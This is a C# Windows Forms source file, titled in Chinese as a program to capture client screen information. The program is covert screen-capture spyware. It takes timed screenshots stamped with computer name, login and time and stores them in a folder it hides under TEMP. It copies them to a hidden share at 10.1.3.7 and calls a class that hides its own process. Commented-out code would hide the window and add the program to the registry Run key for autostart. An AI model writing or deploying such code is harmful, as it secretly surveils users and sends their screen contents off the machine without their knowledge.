截获客户端屏幕信息小程式

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Net.NetworkInformation;
using System.Collections;
namespace bitmap
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        internal struct TokPriv1Luid
        {
            public int Count;
            public long Luid;
            public int Attr;
        }

        [DllImport("kernel32.dll", ExactSpelling = true)]
        internal static extern IntPtr GetCurrentProcess();

        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);

        [DllImport("advapi32.dll", SetLastError = true)]
        internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

        [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
          ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

        [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
        internal static extern bool ExitWindowsEx(int flg, int rea);

        internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
        internal const int TOKEN_QUERY = 0x00000008;
        internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
        internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
        internal const int EWX_LOGOFF = 0x00000000;
        internal const int EWX_SHUTDOWN = 0x00000001;
        internal const int EWX_REBOOT = 0x00000002;
        internal const int EWX_FORCE = 0x00000004;
        internal const int EWX_POWEROFF = 0x00000008;
        internal const int EWX_FORCEIFHUNG = 0x00000010;

        public bool DoExitWin(int flg)
        {
            bool ok;
            TokPriv1Luid tp;
            IntPtr hproc = GetCurrentProcess();
            IntPtr htok = IntPtr.Zero;
            ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
            tp.Count = 1;
            tp.Luid = 0;
            tp.Attr = SE_PRIVILEGE_ENABLED;
            ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
            ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
            ok = ExitWindowsEx(flg, 0);
            return ok;
        }

        public void reboot()
        {
            DoExitWin(EWX_REBOOT);//重启
        }

        public void Shutdown()
        {
            DoExitWin(EWX_SHUTDOWN);//关机
        }

        public string huanjing()//提取系统的环境变量
        {
            IDictionary environment = Environment.GetEnvironmentVariables();
            return environment["TEMP"].ToString(); 
        }

        public string ping()//测试网络的连通性
        {
            System.Net.NetworkInformation.Ping pingSender = new System.Net.NetworkInformation.Ping();
            PingOptions options = new PingOptions();
            options.DontFragment = true;
            string data = " ";
            byte[] buffer = Encoding.UTF8.GetBytes(data);
            int timeout = 120;
            PingReply reply = pingSender.Send(@"10.1.3.7", timeout, buffer, options);
            string info = reply.Status.ToString();
            return info;
        }

        public int pd(string lj)//计算文件夹的字节数
        {
            int count = 0;
            DirectoryInfo d1 = new DirectoryInfo(lj);
            bool x1 = d1.Exists;
            if (x1 == true)
            {
                FileInfo[] fi = d1.GetFiles();
                foreach (FileInfo xx in fi)
                {
                    count = Convert.ToInt32(xx.Length.ToString()) + count;
                }
                return count;
            }
            else
            {
                return 0;
            }

        }

        public static void CopyDirectInfo(string sourceDir, string toDir)//文件上传函数
        {
            if (!Directory.Exists(sourceDir))
            {
                throw new ApplicationException("文件不存在");
              
            }
            if (!Directory.Exists(toDir))
            {
                Directory.CreateDirectory(toDir);
            }
            else
            {
                Directory.Delete(toDir, true);
                Directory.CreateDirectory(toDir);
            }
            DirectoryInfo directInfo = new DirectoryInfo(sourceDir);

            FileInfo[] filesInfos = directInfo.GetFiles();
            foreach (FileInfo fileinfo in filesInfos)
            {
                string fileName = fileinfo.Name;
                File.Copy(fileinfo.FullName, toDir + @"\" + fileName, true);
            }

            foreach (DirectoryInfo directoryPath in directInfo.GetDirectories())
            {
                string toDirPath = toDir + @"\" + directoryPath.Name;
                CopyDirectInfo(directoryPath.FullName, toDirPath);
            }
        }

        public static int x = 0;

        [DllImport("kernel32")]
        private static extern long SetFileAttributes(string lpFileName, long dwFileAttributes);//用来设置文件和文件夹属性的API函数

        [DllImport("kernel32")]
        private static extern int GetPrivateProfileString(string section,
        string key, string def, StringBuilder retVal,
        int size, string filePath);//读取INI文件的API函数

        [DllImport("kernel32")]
        private static extern long WritePrivateProfileString(string section,
        string key, string val, string filePath);//写入INI文件的API函数

        [DllImportAttribute("gdi32.dll")]
        private static extern bool BitBlt(
        IntPtr hdcDest,   //目标设备的句柄 
        int nXDest,   //   目标对象的左上角的X坐标 
        int nYDest,   //   目标对象的左上角的Y坐标 
        int nWidth,   //   目标对象的矩形的宽度 
        int nHeight,   //   目标对象的矩形的长度 
        IntPtr hdcSrc,   //   源设备的句柄 
        int nXSrc,   //   源对象的左上角的X坐标 
        int nYSrc,   //   源对象的左上角的Y坐标 
        System.Int32 dwRop   //   光栅的操作值 
        );

        [DllImportAttribute("gdi32.dll")]
        private static extern IntPtr CreateDC(
        string lpszDriver,   //   驱动名称 
        string lpszDevice,   //   设备名称 
        string lpszOutput,   //   无用，可以设定位"NULL" 
        IntPtr lpInitData   //   任意的打印机数据 
        ); 

        private void button1_Click(object sender, EventArgs e)
        {
           
            IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
            //创建显示器的DC 
            Graphics g1 = Graphics.FromHdc(dc1);
            //由一个指定设备的句柄创建一个新的Graphics对象 
            Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
            //根据屏幕大小创建一个与之相同大小的Bitmap对象 
            Graphics g2 = Graphics.FromImage(MyImage);
            //获得屏幕的句柄 
            IntPtr dc3 = g1.GetHdc();
            //获得位图的句柄 
            IntPtr dc2 = g2.GetHdc();
            //把当前屏幕捕获到位图对象中 
            BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
            //把当前屏幕拷贝到位图中 
            g1.ReleaseHdc(dc3);
            //释放屏幕句柄 
            g2.ReleaseHdc(dc2);
            //释放位图句柄
            string x2=Dns.GetHostName();
            //获取电脑名
            string ln = SystemInformation.UserName.ToString();
            //获取登录名
            string x1 = DateTime.Now.Minute+DateTime.Now.Second+".jpeg";
            string path = huanjing().ToString() + @"\" + "picture" + @"\";
            //string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
         
            Directory.CreateDirectory(path);
            Directory.CreateDirectory(path + ln);

            long reg = Convert.ToInt32(IniReadValue("xixi", "Reg",ini ));//从INI文件读取Reg配置
            SetFileAttributes(path, reg);//给文件夹添加隐藏属性
            //创建文件夹
            MyImage.Save(path + ln + @"\" + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
            //System.Drawing.Imaging.ImageFormat.jpeg用来格式化转化图像，用了这个1000KB可以变成
            //100KB而且还很清晰
           

            string xx1 = "Computer:" + Dns.GetHostName() + "  " + "Login:" + SystemInformation.UserName.ToString()+" " +"Time:" + DateTime.Now.ToShortDateString().ToString() + " " + DateTime.Now.ToLongTimeString().ToString();
            //Bitmap b = (Bitmap)Bitmap.FromFile(path + x1);
            //Bitmap a = (Bitmap)b.GetThumbnailImage(480, 320, null, IntPtr.Zero);//把原始图象的分辨率修改
            //string ti = DateTime.Now.Minute.ToString() + DateTime.Now.Second.ToString();
            //string ti = "2";
            //string file = ti + ".jpeg";
            //a.Save(path + file);//保存修改后的图象
            //a.Dispose();
            //b.Dispose();//释放图象资源
            //File.Delete(path + x1);//删除原始图象
            Bitmap bb = (Bitmap)Bitmap.FromFile(path + ln + @"\" + ".jpeg");//还原就吧x1改成file
           // Graphics g = Graphics.FromImage(bb);

            Graphics g = Graphics.FromImage(bb);
            
            g.DrawString(xx1, new Font("宋体", 18), new SolidBrush(Color.Red), new PointF(0, 715));//在修改后的图象里插入信息
            //bb.Save(path + DateTime.Now.Second.ToString() + ".jpeg");//保存插入信息后的图象
            //string x1x1 = x2 + " " + DateTime.Now.ToShortDateString().ToString() +
            //                   " " + DateTime.Now.Hour.ToString().Trim() + "-" +
            //                         DateTime.Now.Minute.ToString().Trim() + "-" + DateTime.Now.Second.ToString().Trim() + ".jpeg";

          
            //bb.Save(path + DateTime.Now.Second.ToString() + ".jpeg");//保存插入信息后的图象

            string x1x1 = x2 + " " + DateTime.Now.ToLongDateString().ToString()+" "+DateTime.Now.Hour.ToString()+"-"+DateTime.Now.Minute.ToString()+"-"+DateTime.Now.Second.ToString()+".gif";

            bb.Save(path + ln + @"\"  + x1x1);

            g.Dispose();
            bb.Dispose();//释放资源
            File.Delete(path + ln + @"\" + ".jpeg");//删除原始图象
            //File.Delete(path + file);//删除插入信息前的图象
        }

        public string IniReadValue(string Section, string Key, string filepath)//对ini文件进行读操作的函数
        {
            StringBuilder temp = new StringBuilder(255);
            int i = GetPrivateProfileString(Section, Key, "", temp,  255, filepath);
            return temp.ToString();

        }

        public void IniWriteValue(string Section, string Key, string Value, string filepath)//对ini文件进行写操作的函数
        {
            WritePrivateProfileString(Section, Key, Value, filepath);
        }

        private void timer1_Tick(object sender, EventArgs e)
        //调用计时器执行按钮里面的代码
        {
            button1_Click(sender, e);
            string ln = SystemInformation.UserName.ToString();
            //string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
            string path = (@"\\10.1.3.7\picture$" + @"\" + ln);
            if (Directory.Exists(path))
            {
                string[] file = Directory.GetFiles(path);
                for (int i = 0; i < file.Length; i++)
                {
                    string xx = (file[i]);
                    FileInfo fi = new FileInfo(xx);
                    //下面是文件的创建时间
                    int day = Convert.ToInt32(fi.CreationTime.Day.ToString());
                    int month = Convert.ToInt32(fi.CreationTime.Month.ToString());
                    //下面是系统当前时间的月份和天数;
                    int day1 = Convert.ToInt32(DateTime.Now.Day.ToString());
                    int month1 = Convert.ToInt32(DateTime.Now.Month.ToString());
                    int num = Convert.ToInt32(IniReadValue("xixi", "day", ini));
                    if (num < 31)
                    {
                        if (month1 - month == 0)
                        {
                            if (day1 - day > num)
                            {
                                File.Delete(file[i]);
                            }
                        }
                        else if (month1 - month == 1)
                        {
                            if (31 - day + day1 > num)
                            {
                                File.Delete(file[i]);
                            }
                        }
                    }
                }
            }
        }

        static string ini = @"\\10.1.3.7\picture$\1.ini";

        private void Form1_Load(object sender, EventArgs e)
        {
            l1.Text = Dns.GetHostName().ToString();
            //MessageBox.Show(huanjing().ToString());

            //this.WindowState = FormWindowState.Minimized;//程序运行状态最小化
            //this.ShowInTaskbar = false;//程序不在任务拦显示
            //string exepath = Directory.GetCurrentDirectory() + "/bitmap.exe";//本程序的路径
            //RegistryKey hklm = Registry.CurrentUser;
            //RegistryKey run = hklm.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
            //run.SetValue("AutoLogin", exepath); //把程序加入注册表启动项
            string ln = SystemInformation.UserName.ToString();
            string lt = ping();//调用测试连通性函数返回值
            if (lt == "Success")
            {
                //MessageBox.Show("网络连通");
                DirectoryInfo di = new DirectoryInfo(huanjing().ToString()+@"\"+"picture" + @"\" + ln);
                //DirectoryInfo di = new DirectoryInfo(@"c:\picture" + @"\" + ln);
                bool ex = di.Exists;
                if (ex == true)
                {
                        //MessageBox.Show("本地文件存在");
                        timer1.Enabled = false;
                        button2_Click(sender, e);
                        timer1.Enabled = true;
                   
                }
                else
                {
                    //MessageBox.Show("本地文件不存在估计是第一次运行本程序");
                }
            }
            else
            {
                //MessageBox.Show("网络不通，关机以后请检查");
                int c = pd(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                if (c > 1048576000)
                {
                    Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
                }
                //Shutdown();
            }
            //MessageBox.Show("开始进入抓图主程序");
            //pd(@"\\10.1.3.17\tool\picture" + @"\" + ln);
            string text = "程序一运行就会在与程序相同的文件夹内创建说明文件与配置文件（1.ini）。现在主要说明配置文件的参数说明：time参数单位是秒用来控制多少秒截一张图，默认10秒。day参数单位是天控制图片保存天数默认是10天，设置的值在1-60天。Reg参数是用来控制保存图片的文件夹是否隐藏，2-隐藏，4-不隐藏，默认不隐藏。";
            string txt = Directory.GetCurrentDirectory() + "/使用说明.txt";
            if (!File.Exists(txt))
            {
                FileStream fs = new FileStream(txt, FileMode.Append);
                StreamWriter sw = new StreamWriter(fs);
                sw.WriteLine(text);
                sw.Close();
                fs.Close();
            }
            //string ini=Directory.GetCurrentDirectory()+"/1.ini";
          
            if (!File.Exists(ini))//判断配置ini文件存在不
            {

                FileInfo fi = new FileInfo(ini);
                //不存在的情况就创建并向ini文件写入默认值
                IniWriteValue("xixi", "time", "60", ini);
                //IniWriteValue("xixi", "path", "c:/picture/", ini);
                IniWriteValue("xixi", "day", "7", ini);
                IniWriteValue("xixi", "Reg", "2", ini);
            }
            string path = huanjing().ToString() + @"\" + "picture" + @"\" + ln;
            //string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
            int time = Convert.ToInt32(IniReadValue("xixi", "time", ini));
            timer1.Interval = time * 1000;
            timer1.Start();
           

         

        }

        private void button2_Click(object sender, EventArgs e)//判断以后再上传--这个按钮当函数用
        {
            try
            {
                string ln = SystemInformation.UserName.ToString();
                int z = 0;
                DirectoryInfo di = new DirectoryInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                FileInfo[] F = di.GetFiles();
                DirectoryInfo di2 = new DirectoryInfo(@"\\10.1.3.7\picture$" + @"\" + ln);
                if (di2.Exists)
                {
                    FileInfo[] F2 = di2.GetFiles();
                    for (int i = 0; i < F.Length; i++)
                    {
                        int zz = 0;
                        for (int j = 0; j < F2.Length; j++)
                        {
                            if (F[i].ToString() == F2[j].ToString())
                            {
                                zz = zz + 1;
                            }
                        }
                        if (zz == 0)
                        {
                            File.Copy(huanjing().ToString() + @"\" + "picture" + @"\" + ln + @"/" + F[i].ToString(), @"\\10.1.3.7\picture$" + @"\" + ln + @"/" + F[i].ToString());
                            z = z + 1;

                        }
                    }
                    //MessageBox.Show(z.ToString());
                    Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
                    //MessageBox.Show("删除成功");
                }
                else
                {
                    CopyDirectInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln, @"\\10.1.3.7\picture$" + @"\" + ln);
                    //CopyDirectInfo(string sourceDir, string toDir);
                }
                // File.Delete(@"c:/picture" + @"/" + ln);
            }
            catch
            { }
        }

        private void timer2_Tick(object sender, EventArgs e)
        {
            string ln = SystemInformation.UserName.ToString();
            string lt = ping();//调用测试连通性函数返回值
            if (lt == "Success")
            {
                //MessageBox.Show("网络连通");
                DirectoryInfo di = new DirectoryInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                //DirectoryInfo di = new DirectoryInfo(@"c:\picture" + @"\" + ln);
                bool ex = di.Exists;
                if (ex == true)
                {
                    //MessageBox.Show("本地文件存在");
                    timer1.Enabled = false;
                    button2_Click(sender, e);
                    timer1.Enabled = true;

                }
                else
                {
                    //MessageBox.Show("本地文件不存在估计是第一次运行本程序");
                }
            }
            else
            {
                //MessageBox.Show("网络不通，关机以后请检查");
                int c = pd(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                if (c > 1048576000)
                {
                    Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
                }
                //Shutdown();
            }
           
        }

        private void button3_Click(object sender, EventArgs e)
        {
            System.Diagnostics.Process[] process = System.Diagnostics.Process.GetProcessesByName("bitmap");
            foreach (System.Diagnostics.Process p in process)
            {
               // p.Kill();
                HideProcess.HideHideCurrentProcessClass pp = new HideProcess.HideHideCurrentProcessClass();
                pp.HideCurrentProcess();

               
            }
        }

    }
}